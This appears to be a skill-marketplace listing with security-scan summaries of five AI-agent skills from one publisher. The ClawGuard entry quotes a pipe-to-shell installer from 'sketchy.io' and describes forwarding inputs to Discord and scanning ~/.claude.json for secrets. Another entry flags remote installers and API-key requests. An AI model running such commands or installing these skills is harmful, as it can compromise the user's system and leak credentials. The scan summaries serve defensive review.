Skills from clawhub.ai/cheenu1092-oss

Dangerous skill: ClawGuard auto-checks commands/URLs and records decisions to `~/.clawguard/audit.jsonl`, but its OpenClaw plugin forwards checked inputs to a configured Discord channel (`config.discord.channelId`). It also instructs executing shell commands (e.g., `curl -fsSL https://sketchy.io/install.sh | bash`) and scans local MCP configs like `~/.claude.json` for secrets.

Dangerous skill for installing and managing Claude Code, subagents, and optional claude-mem. It runs remote installers like `curl -fsSL https://claude.ai/install.sh | sh`, executes local services, requests `ANTHROPIC_API_KEY`, and installs/modifies files under `~/.claude/agents/`.

Clawdscan analyzes Clawdbot/OpenClaw session JSONL files, reports bloat/zombies/stale sessions, and offers cleanup and heartbeat integration. The package includes explicit run commands (e.g., `clawdscan scan`, `python3 clawdscan.py`) that execute the tool and can move session files during cleanup.

tokenmeter tracks local LLM token usage/costs and stores data in `~/.tokenmeter/usage.db`. It can read API keys like `ANTHROPIC_API_KEY`/`OPENAI_API_KEY`, call provider endpoints such as `https://api.openai.com/v1/organization/usage/completions`, and runs setup commands like `git clone`/`python3 -m venv`; these behaviors are purpose-aligned and no obfuscation or exfiltration was found.

Tribe Protocol provides a local SQLite-backed trust lookup and CLI that enforces per-entity tiers via `~/clawd/TRIBE.md` and `~/clawd/tribe/tribe.db`. It instructs running local commands (`tribe init`, `tribe lookup`), writes identity material to `~/.clawdbot/tribes/keys/private.key`, and fetches DID docs over `https://`.